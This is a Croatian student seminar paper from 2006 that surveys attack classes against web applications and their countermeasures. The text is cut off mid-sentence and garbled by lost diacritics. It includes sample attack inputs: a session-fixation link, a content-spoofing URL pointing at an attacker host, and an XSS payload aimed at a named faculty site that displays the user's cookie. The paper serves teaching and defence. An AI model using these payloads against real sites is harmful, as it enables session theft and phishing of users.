You are on page 1of 30

SVEUILITE U ZAGREBU FAKULTET ELEKTROTEHNIKE I RAUNARSTVA ZAVOD ZA ELEKTRONIKU, MIKROELEKTRONIKU, RAUNALNE I INTELIGENTNE SUSTAVE

SIGURNOST WEB APLIKACIJA


Mario Kozina
SEMINARSKI RAD

Zagreb, 2006.

Sadraj
1.Uvod.............................................................................................................................. ..1 2.Napadi vezani za autentifikaciju ................................................ .................................3 2.1.Brute force napadi.......................................................................................................3 2.2.Nedovoljna razina autentifikacije.................................................................................3 2.3.Nedovoljna zatita korisnikove lozinke........................................................................4 3.Napadi vezani za autorizaciju....................................................................................... .5 3.1.Nagaanje vjerodajnog identifikacijskog broja ...........................................................5 3.2.Nedovoljna autorizacija................................................................................................6 3.3.Nedovoljna kontrola trajanja koritenja usluge............................................................6 3.4.Fiksacija usluge...........................................................................................................7 4.Napadi na klijentsku stranu......................................................... .................................9 4.1.Ubacivanje nepostojeeg sadraja (engl. Content spoofing) .....................................9 4.2.Izvravanje napadakog koda (engl. Cross-site scripting) .........................................9 5.Napadi vezani uz izvravanje naredbi................................................ ........................12 5.1.Buffer overflow napadi ..............................................................................................12 5.2.Format string napadi..................................................................................................12 5.3.OS commanding........................................................................................................13 5.4.SQL injection............................................................................................................ .13 . 5.5.LDAP i XPath injection...............................................................................................15 6.Otkrivanje povjerljivih informacija....................................................................... .......16 6.1.Rasipanje informacija................................................................................................16 6.2.Izlistavanje mapa (engl. Directory indexing)..............................................................16 6.3.Otkrivanje preaca.....................................................................................................17 6.4.Predvianje lokacije resursa......................................................................................18 7.Logiki napadi....................................................................................................... .......19 7.1.Zloupotreba funkcionalnosti.......................................................................................19 7.2.DoS napadi................................................................................................................19 7.3.Napadi automatiziranim procesima...........................................................................20 7.4.Naruavanje kontrole procesa...................................................................................20 8.Praktini rad............................................................................................... ..................22 9.Zakljuak.......................................................................................... ............................24 10.Literatura............................................................................................. .......................26

1. Uvod
U dananje vrijeme Web aplikacije su dominantna i najsofisticiranija tehnologija koritena u razliitim poslovima na Internetu. Njihovo ubrzano irenje je polueno uslugama koje omoguuju korisnicima razmjenu i izmjenu informacija neovisno o platformi kroz infrastrukturu Interneta. Primjeri Web aplikacija su pretraivai, Web-mail aplikacije, aplikacije za kupnju i razliiti portali. Web aplikacije se najee sastoje od programskog koda koji se nalazi i izvrava na posluiteljskoj strani, te su u interakciji sa bazama podataka i ostalim izvorima dinamikog sadraja. Upravo zbog njihove rairenosti, Web aplikacije su postale sigurnosne kritine toke u komunikaciji izmeu klijenta i posluitelja. Sama priroda Web aplikacija da imaju mogunost procesiranja, usporeivanja i irenja informacija preko Interneta, razotkriva Web aplikacije na dva osnovna naina. Prvi i najoitiji je da su one uglavnom javno dostupne, ime se onemoguuje princip sigurnosti kroz zamraivanje (engl. security through obscurity) te se javlja zahtjev za potpunijim pisanjem koda prilikom razvoja same aplikacije. Drugi i kritiniji je, da one procesiraju podatke dobivene preko HTTP zahtjeva, koji kao protokol omoguuje pregrt kodirajuih i enkapsulacijskih napadakih tehnika. Veina razvojnih okruenja Web aplikacija daju na koritenje podatkovne elemente programeru pritom izostavljajui pojedinosti o nainu na koji se ti podatkovni elementi interpretiraju, odnosno ne provjeravaju smisao unesenih podataka (engl. validation and sanity checking). Upravo iz razloga to su ta okruenja iroka i nude mnoge forme programskog sadraja, provjera unosa (engl. input validation) i smisla je klju sigurnosti Web aplikacija. To ukljuuje identificiranje, ograniavanje i prisiljavanje dobro poznatih domena za bilo koju vrstu korisnikih podataka, ali i dostatno razumijevanje razliitih vrsta izvora podataka kako bi se odredilo koji je podatak definiran od strane korisnika. Identificiranje ranjivosti Web aplikacija omoguava potencijalnom napadau koritenje razliitih napadakih tehnika. Ove tehnike se takoer nazivaju i klasom napada. Mnoge imaju prepoznatljiva imena, poput prelijevanja memorijskog spremnika (engl. Buffer Overflow), SQL ubrizgavanje (engl. SQL injection) i krino skriptiranje (engl. Cross-site scripting). Radi jednostavnosti i ustaljenosti termina u raunarstvu, koristit e se engleski nazivi za klase napada. Cilj ovog seminarskog rada je identificirati, kategorizirati i opisati ve poznate klase napada koji predstavljaju prijetnje za Web aplikacije, te ponuditi adekvatnu protumjeru. Stoga e se u nastavku uvodnog dijela dati kratak pregled klasa napada koje su danas najzastupljenije. To su: Napadi vezani uz autentifikaciju Napadi vezani u autorizaciju Napadi na klijentsku stranu Napadi vezani uz izvravanje naredbi Otkrivanje povjerljivih informacija Logiki napadi Napadi vezani uz autentifikaciju korisnika se dijele na napade koritenjem sile (engl. Brute force), napade koji su posljedica nedovoljne razine autentifikacije i napade koji su posljedica nedovoljne zatite korisnikove lozinke. Brute force napadi predstavljaju automatizirani proces koji se koristi metodom pogaanja i promaaja kako bi se otkrilo korisniko ime, lozinka, kriptografski klju ili broj kreditne kartice. Ukoliko Web aplikacija omoguava napadau pristup osjetljivom sadraju, a da se pritom napada nije propisno autentificirao, tada je rije o nedovoljnoj autentifikaciji. Nedovoljnom
1

sigurnost_web_aplikacija_v1 zatitom korisnikove lozinke se omoguava napadau da ilegalno dobije, promijeni ili obnovi lozinku drugog korisnika. Napadi vezani u autorizaciju se dijele na napade vezane uz nagaanje vjerodajnog identifikacijskog broja (engl. Credential/Session prediction), nedovoljnu autorizaciju, nedovoljna kontrola trajanja usluge (engl. Session expiration) i fiksaciju usluge (engl. Session fixation). Nagaanje vjerodajnog identifikacijskog broja je metoda kojom se otima identitet drugog korisnika. Nedovoljnom autorizacijom, Web aplikacija omoguava napadau pristup sadraju ili funkcionalnosti koja bi inae trebala biti zatiena viom razinom sigurnosti. Nedovoljnom kontrolom trajanja koritenja usluge, Web aplikacija omoguava napadau da koristi stare vjerodajne identifikacijske brojeve za autorizaciju. Fiksacijom usluge napada podvaljuje korisniku fiksni identifikacijski broj koji kasnije napada koristi za autorizaciju. Napadi na klijentsku stranu su ubacivanje nepostojeeg sadraja (engl. Content spoofing) i izvravanje napadakog koda (engl. Cross-site scripting) u korisnikom Web pregledniku. Ubacivanje nepostojeeg sadraja je vrsta napada kojom napada eli uvjeriti korisnika da je odreeni sadraj legitiman i da ne potjee s nekog vanjskog izvora. Cross-site scripting je napadaka tehnika koja prisiljava Web aplikaciju da proslijedi napadaki izvrni kod korisniku, koji e se uitati u korisnikovom Web preglednik i izvriti. Napadi vezani uz izvravanje naredbi se dijele na Buffer overflow napade, Format string napade OS commanding, SQL injection, XPATH i LDAP injection. Buffer overflow napadi mijenjanju ili onemoguuju tok izvoenja aplikacijskih procesa na nain da prebriu odreene dijelove memorije. Format string napadi mijenjaju programski tok aplikacije koristei razliite oblike formatirajuih naredbi kako bi dobili pristup odreenom memorijskom prostoru. SQL, LDAP, XPATH injection napadi se baziraju na slinoj napadakoj tehnici; ugroavanje Web aplikacije koja konstruira SQL, LDAP, XPATH izjave iz korisniki unesenih podataka. Os commanding je napadaka tehnika koja ugroava Web aplikaciju izvravanjem naredbi operacijskog sistema kroz manipulaciju aplikacijskih ulaznih podataka. Otkrivanje povjerljivih informacija se dijeli na izlistavanje mapa, rasipanje informacija, otkrivanje preaca do informacija i predvianje lokacije resursa. Izlistavanje mapa (engl. Directory indexing) je funkcija Web posluitelja koja omoguava napadau izlistavanje sadraja odreene mape ukoliko osnovna datoteka ( index, default) nije prisutna. Kada Web aplikacija otkriva osjetljive podatke kao to su programerski komentari ili detaljnije poruke o pogrekama, tada pomae potencijalnom napadau rasipanjem informacija. Otkrivanjem preaca, napadau je omoguen pristup datotekama, mapama i naredbama koje su inae izvan osnovnog direktorija Web aplikacije. Predvianjem lokacije resursa napada moe pristupiti skrivenom sadraju, pogotovo onom sistemskog i administratorskom. Logiki napadi su: zloupotreba funkcionalnosti, napadi temeljeni na uskraivanju usluge (engl. Denial of Service) ili DoS napadi, napadi uzrokovani automatiziranim procesima i napadi koji naruavaju kontrolu procesa. Kada potencijalni napada koristi resurse i funkcionalnost Web aplikacije kako bi iskoristio, prevario ili promijenio njen kontrolni mehanizam, tada govorimo o zloupotrebi funkcionalnosti. DoS napadom, napada onemoguava normalni rad Web aplikacije i pristup drugih klijenata Web aplikaciji. Napadi automatiziranim procesima nastupaju kada Web aplikacija omoguava napadau izvoenje automatiziranog procesa koji bi inae po svojoj prirodi trebao biti runo izveden od strane korisnika. Naruavanje kontrole procesa nastupa kada napada uspije promijeniti tijek izvoenja pojedinih dogaaja koji inae odstupa od obiajnog kontrolnog tijeka izvoenja dogaaja.

2. Napadi vezani za autentifikaciju


Autentifikacija, sa gledita Web aplikacije, je proces kojim se provjerava identitet korisnika odreene usluge Web aplikacije. Autentifikacija se provodi na temelju barem jednog od sljedea tri mehanizma: neeg to ima, neeg to zna i onoga to jesi. Unutar ovog poglavlja objasnit e se napadake tehnike kojima se zaobilazi i naruava autentifikacijski proces Web aplikacija.

2.1. Brute force napadi


Brute force napadi predstavljaju automatizirani proces koji se koristi metodom pogaanja i promaaja kako bi se otkrilo korisniko ime, lozinka, kriptografski klju ili broj kreditne kartice. Ova vrsta napada je vrlo esta i relativno uspjena, pri emu u obzir treba uzeti vrijeme trajanja napada koje moe varirati od nekoliko minuta do nekoliko godina. Mnotvo dananjih sustava omoguava korisnicima koritenje jednostavnih lozinki ili kratkih kriptografskih kljueva. Korisnici najee odabiru lozinke koje su jednostavne za pamenje i koje se esto mogu nai u rjenicima. Kao posljedica takvog pristupa, potencijalni napada moe odabirom rijei iz rjenika stvoriti na tisue netonih upita kako bi otkrio vaeu lozinku odreenog korisnika. Ova vrsta napada postaje uspjena kada napada pronae lozinku odreenog korisnika i pristupi njegovom korisnikom raunu. Slina tehnika vrijedi i za sustave koji koriste kratke kriptografske kljueve; napada umjesto koritenja rijei iz rjenika, koristi sve mogue vrijednosti kljua kako bi doao do tone vrijednosti korisnikog kljua. U osnovi, postoje dvije vrste Brute force napada, normalni (uobiajni) i reverzni. Normalni Brute force napad koristi jedno korisniko ime i velik skup lozinki, dok reverzni Brute force napad koristi velik skup korisnikih imena i samo jednu lozinku. Reverzni Brute force napad se koristi u sustavima koji imaju na milijune korisnikih rauna gdje su anse da dva razliita korisnika imaju istu lozinku velike. Primjer Brute force alata je Hydra, paralizirajui Web-cracker. Hydra posjeduje rjenik u kojeg se mogu upisati rijei koje se najee koriste od strane korisnika, npr. Cola, Pepsi, Mercedes itd. Nakon to se specificira sadraj rjenika, Hydra-i se zadaje put do traene aplikacije, te zapoinje izvoenje Brute force napada za traeno korisniko ime. Uspjenost napada ovisi o veliini i sadraju rjenika.

2.2. Nedovoljna razina autentifikacije


Nedovoljna razina autentifikacije nastupa kada Web aplikacija omoguava potencijalnom napadau pristup osjetljivom sadraju ili funkcionalnosti, a da se pritom napada nije propisno autentificirao. Ograniavanje pristupa osjetljivom sadraju je obiajno za veinu Web aplikacija, dok je pristup funkcionalnosti obiajan uglavnom za administratorske Web alate. Kako bi se Web aplikacija zatitila procesom autentifikacije, njeni resursi se najee tite skrivanjem lokacija, odnosno puta do njih (URL). Iako potencijalni napada ne zna o kojima se tono resursima radi, on njima moe direktno pristupiti koritenjem URL-a. Odreeni URL se moe otkriti koritenjem Brute Force alata kojima se pronalaze lokacije mapa i datoteka, poruka s grekama i administratorskih zapisa (engl. logs). Ove resurse je potrebno dodatno zatititi dozvolama ili drugim metodama, kako se ne bi zloupotrijebili. Primjer nedovoljne razine autentifikacije su Web aplikacije koje posjeduju administratorsku mapu /admin/ direktno unutar osnovne mape Web aplikacije (root). Iako ova mapa nije povezana (nema link) ni sa jednim dokumentom Web aplikacije koji se daje na raspolaganje korisniku, korisnik moe direktno pristupiti mapi koritenjem Web preglednika i na taj nain zaobii proces autentifikacije. Najei uzrok nedovoljne razine autentifikacije je previd administratora koji smatra da pristup

sigurnost_web_aplikacija_v1 administratorskoj mapi nije mogu ukoliko ne postoji poveznica (link) na /admin/ mapu, i pritom ne postavi dozvole pristupa /admin/ mapi.

2.3. Nedovoljna zatita korisnikove lozinke


Nedovoljnom zatitom korisnikove lozinke se omoguava napadau da ilegalno dobije, promijeni ili obnovi lozinku drugog korisnika. Proces autentifikacije odreene Web aplikacije zahtjeva od korisnika pamenje lozinke ili odreene fraze koja omoguava pristup korisnikom raunu. Korisnik bi trebao biti jedina osoba koja tono zna lozinku. Kako vrijeme prolazi, korisnikova sposobnost pamenja lozinke se smanjuje, pogotovo ako se uzme u obzir da korisnik ima desetak i vie korisnikih rauna za razliite Web aplikacije. Ukoliko korisnik zaboravi lozinku, tada pristupa procesu za obnovu lozinke. Najei primjer procesa za obnovu lozinke je proces koji koristi princip tajnog pitanja (engl. secret question) koje korisnik definira prilikom registracije rauna. Ukoliko korisnik zaboravi lozinku, odgovorom na tajno pitanje korisnik moe obnoviti svoju lozinku . Jo jedan primjer procesa za obnovu lozinke je specificiranje trika (engl. hint) koji pomae korisniku da se prisjeti svoje lozinke. Drugi mehanizmi obnove zahtijevaju od korisnika osobne podatke kao to su e-mail, adresa, broj kartice, kako bi potvrdili svoj identitet. Najvei problem procesa za obnovu je mogunost prevare samog procesa od strane napadaa. To se najee dogaa kada su informacije potrebne za provjeru korisnikog identiteta lako dostupne ili se daju naslutiti. Sustavi za obnovu se najee kompromitiraju koritenjem brute force napada, naslijeenom ranjivou sustava ili tajnim pitanjima koja se daju naslutiti. Primjeri napada:

Napada poalje zahtjev s odreenim korisnikim imenom procesu za obnovu lozinke. Proces odgovori na njegov zahtjev s tajnim pitanjem tipa U kojem mjestu si roen?. Ukoliko napada posjeduje brute force alat u ijem se rjeniku zapisani svi gradovi u Hrvatskoj, postoji velika mogunost da e ponuditi toan odgovor, odnosno prevariti proces za obnovu i saznati korisnikovu lozinku. Korisnik koristi trik kako bi upamtio svoju lozinku tipa Ime+datum roenja. Ukoliko napada sazna o kojem se triku radi (trik je najee dostupan) moe znaajno smanjiti podruje pretrage, odnosno smanjiti broj zapisa u rjeniku brute force alata i poveati mogunost uspjenog napada.

3. Napadi vezani za autorizaciju


Autorizacija, s gledita Web aplikacija, je proces kojim se utvruje da li odreeni korisnik, usluga ili aplikacija ima potrebna doputenja za izvoenje odreene radnje. Veina Web aplikacija odreenom korisniku daje na raspolaganje tono odreene sadraje i funkcionalnosti zatiene odreenom razinom ovlasti, dok su neki drugi sadraji i funkcionalnosti zabranjeni istom korisniku. Unutar ovog dijela opisati e se napadake tehnike koje omoguavaju napadau poveanje njihovih privilegija i pristup zabranjenim resursima.

3.1. Nagaanje vjerodajnog identifikacijskog broja


Web aplikacije najee za izmjenu informacija s korisnicima koriste HTTP, koji spada u grupu protokola bez stanja (engl. stateless). To znai da e korisnik prilikom svakog posjeta Web aplikaciji biti vien od strane posluitelja kao da je prvi put pristupio aplikaciji. Drugim rijeima, posluitelj zaboravlja sve o korisniku nakon svakog korisnikovog zahtjeva, osim ako na neki nain ne oznai samog korisnika. To oznaavanje se provodi dodjeljivanjem vjerodajnog identifikacijskog broj (engl. Session ID). U dananjim Web preglednicima, tehnoloki sinonim za Session ID je kolai (engl. Cookie). Cookie predstavlja znakovni niz koji se uva u memoriji Web preglednika, a postavlja se od strane Web aplikacije. Cookie ima svoj ivotni vijek kojim je tono odreeno koliko vremena odreeni korisnik moe koristiti usluge Web aplikacije, a da se od njega ne zahtijevaju identifikacijski podaci kojim bi nanovo obnovi Cookie. Nagaanje vjerodajnog identifikacijskog broja je napadaka tehnika kojom se otima identitet drugog korisnika. Napadaeva namjera je saznati Session ID koji je dodijeljen odreenom korisniku od strane odreene Web aplikacije kako bi iskoristio korisnikove privilegije za kompromitirajue radnje. Mnotvo Web aplikacija je dizajnirano tako da bi se mogla provesti autentifikacija korisnika i omoguilo praenje rada korisnika nakon uspostave veze korisnik-Web aplikacija. Da bi se ovo ostvarilo, korisnici moraju dokazati svoj identitet Web aplikaciji, najee upisivanjem vlastitog korisnikog imena i lozinke. Kako bi se sprijeilo unoenje povjerljivih korisnikih podataka tokom svake sjednice, Web aplikacije generiraju jedinstveni Session ID pomou kojeg se korisnik autentificira. Ako je napada sposoban pretpostaviti ili naslutiti Session ID odreenog korisnika, tada je mogua zloupotreba korisnikih privilegija i povreda autorizacije. Primjer za ovu vrstu napada su Web aplikacije koje generiraju Session ID koristei predvidljive i jednostavne algoritme, pogotovo u sluajevima gdje se trenutni Session ID generira jednostavno inkrementirajui prethodno generirani Session ID. Session ID se najee pohranjuje unutar Cookie-a ili URL-a, a takoer ga je mogue pohraniti i unutar skrivenog polja (engl. Hidden form). Ako napada odredi algoritam pomou kojeg se generira Session ID, tada se napad moe izvesti na nain kao to je prikazano na slici 3.1:

Z a h tj e v za S e s s io n ID -o m S ess io n I D = 100 0 S ess io n ID = 10 01

1 = 100 o n ID S essi

Slika 3.1. Nagaanje Session ID-a

sigurnost_web_aplikacija_v1 Slijed napada je sljedei: 1) Napada pristupi Web aplikaciji kako bi dobio trenutni Session ID. Web aplikacija mu vraa Session ID s vrijednou 1000. 2) Poto napada zna da se radi o inkrementirajuem algoritmu za generiranje Session ID-a, napada jednostavno izrauna vrijednost sljedeeg Session ID-a (vrijednost 1001). 3) Napada izmjeni vrijednost Session ID-a unutar Cookie-a ili URL-a na vrijednost 1001 i upuuje zahtjeve Web aplikaciji sve dok se ne prijavi sljedei korisnik. Nakon to se korisnik prijavi, napada moe korisiti njegove privilegije koristei izraunati Session ID.

3.2. Nedovoljna autorizacija


Nedovoljnom autorizacijom, Web aplikacija omoguava napadau pristup sadraju ili funkcionalnosti koja bi inae trebala biti zatiena viom razinom sigurnosti. Nakon to se korisnik autentificira na Web aplikaciju to ne podrazumijeva posjedovanje prava za potpuni pristup cjelokupnom sadraju i funkcionalnosti. Autorizacijski proces se provodi poslije procesa autentifikacije prisiljavajui korisnike, usluge ili aplikacije na ogranieno koritenje resursa. Autorizacijska prava se najee ureuju sigurnosnom politikom. U kontekstu Web aplikacija, resursi koje treba dodatno zatiti su podaci iskljuivo namijenjeni administratoru Web aplikacije. Primjer nedovoljne autorizacije su aplikacije koje su administratorske podatke skrivali u mapama s nazivima /admin/ ili /logs/, kojima je mogao pristupiti bilo koji autentificirani korisnik i poduzeti neeljene radnje kao to su rekonfiguracija posluitelja itd.

3.3. Nedovoljna kontrola trajanja koritenja usluge


Nedovoljnom kontrolom trajanja koritenja usluge, Web aplikacija omoguava napadau koritenje starih vjerodajnih identifikacijskih brojeva (engl. Session ID) za autorizaciju. Kao to je ve reeno u 3.1., Web aplikacije se slue HTTP stateless protokolom i zbog toga koriste Session ID-e kako bi identificirali korisnike od zahtjeva do zahtjeva. Kao posljedica, svaki Session ID mora biti tajno sauvan kako bi se sprijeio viekorisniki pristup istom korisnikom raunu. Nedostatak kontrole trajanja usluge, odnosno nedostatak kontrole ivotnog vijeka Session ID-a moe poveati rizik od odreenih vrsta napada. Na primjer, napada moe prislukivati mreu i preuzimati pakete koji sadre Session ID , ili moe koristi Cross-site scripting napad kako bi doao u posjed Session ID-a. Iako skraivanje ivotnog vijeka Session ID-a ne moe sprijeiti upotrebu Session IDa koji je nedavno ukraden, ono e sprijeiti uzastopno i trajno koritenje pribavljenog Session ID-a. S druge strane, dugo trajanje Session ID-a poveava napadaevu ansu da sazna ili izrauna ispravni korisniki Session ID, ali smanjuje broj potrebnih korisnikih prijava na korisniki raun odreene Web aplikacije. Primjer nedovoljne kontrole trajanja usluge je koritenje viekorisnike (engl. Shared) raunalne okoline (Internet caffe, knjinica itd.). Ukoliko se korisnik prikladno ne odjavi sa svog korisnikog rauna (ne obavi logout), tada postoji mogunost da e sljedei korisnik raunala moi, koristei back gumb, Web preglednika, pregledati sve stranice prethodno posjeene od strane prvog korisnika (rtve).Takoer je mogue, poto odjavom prvi korisnik nije prekinuo sjednicu, da drugi korisnik pregledavajui povijest (engl. History) posjeenih stranica doe do odreenih sadraja za koje mu inae trebaju autentifikacijska ili autorizacijska prava.

3.Napadi vezani za autorizaciju

3.4. Fiksacija usluge


Fiksacijom usluge napada podvaljuje korisniku fiksni vjerodajni identifikacijski broj (engl. Session ID), koji kasnije napada koristi za autorizaciju. Postoji mnotvo napadakih tehnika pomou kojih se Session ID moe fiksirati na neku eksplicitnu vrijednost. Najee tehnike su Cross-site scripting napadi i posebno prilagoeni HTTP zahtjevi. Cilj ove tehnike je, nakon to napada postavi Session ID na neku fiksnu vrijednost, saeka korisnika da se prijavi na tu predefiniranu sjednicu s podvaljenim Session ID-om. Nakon to se korisnik prijavi, napada upotrebljava taj Session ID, pridobiva korisnikov identitet i koristi njegove privilegije. Bez aktivne zatite protiv fiksacije usluge, napad se moe izvesti nad bilo kojom Web aplikacijom koja korisi Session ID-e kako bi identificirala korisnike. Web aplikacije koje koriste Session ID-e se najee oslanjaju na Cookie , neto manje koriste URL i skrivena polja. Naalost, upravo Web aplikacije koje koriste Cookie su najranjivije jer je veina dananjih napada usmjerena ba prema Cookie-ma. Uobiajna fiksacija usluge se sastoji od 3 sljedee faze: 1. Postavljanje Session ID-a Napada postavlja klopku za odreenu Web aplikaciju kako bi pridobio njen Session ID, ili postavlja neki vlastito skrojeni Session ID (ovisi o sustavu na koji aplikacija radi). 2. Fiksacija usluge Napada predstavlja klopku ili vlastiti skrojeni Session ID odreenom korisniku, te ga uvjerava da ta usluga potjee od sam Web aplikacije. 3. Ulazak i koritenje usluge Napada eka dok se korisnik ne ulogira na traenu Web aplikaciju. Kada to korisnik napravi, tada napada posjeduje fiksirani Session ID kojima preuzima korisnika prava i identitet. Pogledajmo sljedei primjer koji prikazuje fiksaciju usluge. Slika 3.2. prikazuje web posluitelj online.worldbank.com na kojem je postavljena bankovna Web aplikacija usmjerena prema korisnicima. Session ID -evi se prosljeuju korisnicima koristei URL argument sessionid.

Slika 3.2. Fiksacija usluge 7

sigurnost_web_aplikacija_v1 U prvom koraku, napada koji je takoer legitimni korisnik bankovnog sustava, se ulogira na posluioca (1) i dobije session ID s vrijednou 1234 (2). Nakon toga napada poalje posebno skrojeni hyperlink http://online.worldbank.dom/login.jsp?sessionid=1234 korisniku, te pokuava namamiti korisnika da pritisne hyperlink (3). Korisnik pritie hyperlink, koji otvara posluiteljsku stranicu za ulogiravanje u korisnikovom Web pregledniku (4). Potrebno je naglasiti da je za prilikom prihvata zahtjeva login.jsp?sessionid=1234, Web aplikacija ve otvorila sjednicu za danog korisnika i nova sjednica nije potrebna. Na kraju, korisnik upisuje svoje korisniko ime i lozinku (5) te ih prosljeuje posluitelju kako bi mu dodijelio pristup bankovnom raunu. Ali, napada takoer zna session ID , te moe pristupiti korisnikovom raunu koristei account.jsp?sessionid=1234 (6). Kako je session ID ve bila unaprijed fiksirana prije nego to se korisnik ulogirao, kaemo da se korisnik ulogirao u sjednicu postavljenu od napadaa.

4. Napadi na klijentsku stranu


Napadi na klijentsku stranu su orijentirani prema korisnicima Web aplikacija. Kada korisnik posjeti odreenu Web aplikaciju, uspostavlja se povjerenje izmeu korisnika i posluitelja, odnosno Web aplikacije. Korisnik oekuje od Web aplikacije da e mu ona dostaviti ispravan sadraj i da se prilikom njegovog koritenja Web aplikacije nee dogoditi nikakav napad na njega. Mnotvo napadakih tehnika moe ugroziti ovaj odnos, ali zbog opirnosti mi emo opisati samo dvije bitne tehnike: ubacivanje nepostojeeg sadraja (engl. content spoofing) i izvravanje napadakog koda (engl. Cross-site scripting) u korisnikovom Web pregledniku.

4.1. Ubacivanje nepostojeeg sadraja (engl. Content spoofing)


Ubacivanje nepostojeeg sadraja je vrsta napada kojom napada eli uvjeriti korisnika da je odreeni sadraj legitiman i da ne potjee s nekog vanjskog izvora. Ova napadaka tehnika je najee usmjerena prema Web aplikacijama koje dinamiki generiraju URL-ove prema svom HTML sadraju. Pogledajmo sljedei primjer: Recimo izmjenom da korisnik sadraja eli HTML pristupiti nekoj Web aplikaciji putem sljedeeg URL-a:
http://www.fer.hr/page?frame_src=http://www.fer.hr/file.html. Napada moe

promijeniti izvor frame_src parametra u i umetnuti svoj sadraj u file.html, te proslijediti skrojeni link korisniku bilo putem e-maila, IM-a (instant messanger) ili poslati link na forum. Korisnik posjeuje ovu stranicu, vidi domenu http://www.fer.hr u Web pregledniku i uvjeren je da je sadraj koji promatra autentian i s izvorne lokacije, a u biti sadraj potjee s napadaevog izvora http://napad.hr/file.html.
frame_src=http://napad.hr/file.html

dokumenta

Iz ovog primjera je vidljivo da je ugroen povjerljiv odnos izmeu korisnika i Web aplikacije.Ova napadaka tehnika se najee koristiti za stvaranje lanih Web stranica za prijavu korisnika, gdje se na relativno jednostavan nain moe ukrasti korisnikov identitet.

4.2. Izvravanje napadakog koda (engl. Cross-site scripting)


Cross-site scripting (XSS) je napadaka tehnika koja prisiljava Web aplikaciju da proslijedi napadaki izvrni kod korisniku, koji se zatim uitava u korisnikovom Web pregledniku i izvrava. Napadaki kod je najee napisan koritenjem JavaScript skriptnog jezika, ali takoer i drugih programskih jezika koju su podrani od strane korisnikog Web preglednika: VBScript, ActiveX, Java i Flash. Kada napada uspije potaknuti korisniki Web preglednik na izvravanje napadakog koda, kod e se izvravati unutar sigurnosne zone Web aplikacije. Koristei ovu privilegiju, napadaki kod e moi itati, promijeniti ili prosljediti osjetljive podatke koji su dani na raspolaganje Web pregledniku. Na taj nain, ova napadaka tehnika se moe iskoristiti za krau korisnikih rauna (kraa cookie-a), usmjeravanje Web preglednika na neke druge lokacije, ili prosljeivanje tetnog sadraja od strane Web aplikacije. Stoga, Cross-site scripting napadi takoer ugroavaju povjerljivi odnos izmeu korisnika i Web aplikacije. Openito, postoje dvije vrste Cross-site scriptng napada, neustrajni (engl. non-persistent) i ustrajni (engl. Persistent). Neustrajni napadi navode korisnika na posjeivanje posebno skrojenih linkova koji su povezani s tetnim kodom. Kada korisnik posjeti link, kod koji je pohranjen unutar URL-a e se izvriti unutar korisnikog Web preglednika. Oprezniji korisnici mogu uviditi opasnost ako unutar sadraja link primijete skriptu, pa napadai najee konvertiraju kod koristei Hex kodiranje kako bi prikrili trag skripti i zavarali korisnika. S druge strane, ustrajni napadi se dogaaju kada je odreeni tetni kod pohranjen unutar same Web aplikaciji neko odreeno vrijeme. Te aplikacije su najee
9

sigurnost_web_aplikacija_v1 portali, Web mail ili Web chat aplikacije. Pritom nije nuno da korisnik pritisne neki link, ve je dovoljno da jednostavno pregleda sadraj Web stranice koja sadri tetni kod. Primjer: OSL web (slika 4.1). Na slubenoj stranici FER OSL-a je primijeena Cross-site scripting ranjivost. Openito, da bi testirali pojedinu Web aplikaciju na XSS ranjivost, potrebno je ubaciti jednostavnu Javascript alert poruku <script>alert(XSS)</script> u dio Web aplikacije koji se moe nanovo vidjeti (najee URL ili poruke unutar nekog foruma). Nakon to se postavi poruka, potrebno je pogledati da li e Web preglednik reagirati pop-up prozorom s porukom. Ako se prozor pojavi, to je znak da se skripta izvrila i da postoji XSS ranjivost.

Slika 4.1. XSS ranjivost

U naem sluaju, posljedica XSS napada je kraa Cookie-a. Koristei sljedei skrojeni link koji u sebi sadri skriptu prikae se pop-up prozor koji ispie korisniki Cookie:
http://www.osl.fer.hr/index.php?option=com_remository&Itemid=27&func=sele ct&id=<script>alert(document.cookie);</script>

Iz primjera je vidljiv nain na koji se moe ukrasti korisniki identitet. Ovo je jedna od eih napadakih tehnika, pa je potrebno provesti dodatne sigurnosne mjere kako bi se izbjegla ova vrsta napada:

Onemoguavanje skripti kada one nisu potrebne. Na ovaj nain se spreava izvravanje koda unutar korisnikog Web preglednika putem skripti (unutar URL-a), ali i dalje postoji opasnost od posebno skrojenih napadakih HTML dokumenata koji se najee prosljeuju korisniku putem e-maila. Filtriranje korisnikih zahtjeva. Na ovaj nain, Web aplikacija uvijek provjerava korisnike zahtjeve i filtrira posebne meta znakove definirane HTML specifikacijom kako bi ustanovila
10

4.Napadi na klijentsku stranu da li korisniki zahtjev sadri skriptu. Ukoliko zahtjev sadri skriptu, Web aplikacija spreava prikazivanje tetnog HTML dokumenta unutar korisnikog Web preglednika.

Kodiranje stranica. Cross-site scripting napadi se mogu izbjei ukoliko Web posluitelj pravilno kodira generirane stranice kako bi onemoguio nenamjerno izvravanje skripti.

11

5. Napadi vezani uz izvravanje naredbi


Napadi vezani uz izvravanje naredbi podrazumijevaju napade koji su posebno dizajnirani kako bi izvrili kompromitirajue naredbe nad Web aplikacijom. Sve Web aplikacije procesiraju korisniki unesene ulazne podatke kako bi formirale i ispunile zahtjeve. Tu je javlja problem jer se korisniki podaci esto koriste za kreiranje posebnih naredbi unutar dinamikog sadraja Web stranice. Ako se korisniki podaci loe ukomponiraju unutar sadraja Web aplikacije, tada potencijalni napada moe izmijeniti ili potaknuti izvoenje pojedinih naredbi.

5.1. Buffer overflow napadi


Buffer overflow napadi mijenjaju ili onemoguuju tok izvoenja aplikacijskih procesa na nain da prebriu odreene dijelove memorije. Buffer overflow je u biti obino programsko ugroavanje memorijskog spremnika koje rezultira pojavom greke unutar programa, odnosno Web aplikacije. Ova greka nastupa kada podatak upisan u memoriju pree alociranu veliinu memorije spremnika. Poto je spremnik preliven, susjedne memorijske adrese su prebrisane i uzrokuju kvar programa. Ukoliko se napravi propust prilikom dizajniranja Web aplikacije, tada postoji mogunost da se posebno skrojenim ulaznim podacima izazove Buffer overflow i narui sigurnost Web aplikacije. Buffer overflow napad se najee koristi kao DoS napad koji uzrokuje kvar i ruenje Web aplikacije. Takoer, Buffer overflow napad moe promijeniti tok izvoenja same aplikacije i uzrokovati neeljene akcije. Ovo se moe realizirati ukoliko se promijene adrese pokazivaa stoga ili vrijednosti programskih varijabli, odnosno promjeni tok izvoenja programa kako bi se izvrile razliite tetne naredbe. Ova napadaka tehnika se uestalo koristila za ruenje Web posluitelja. Na svu sreu, vrlo rijetko ugroava Web aplikacije. Razlog tomu je to napada mora detaljno analizirati izvorni kod same aplikacije kako bi otkrio potencijalnu ranjivost, pa se veina napada uglavnom svodi na 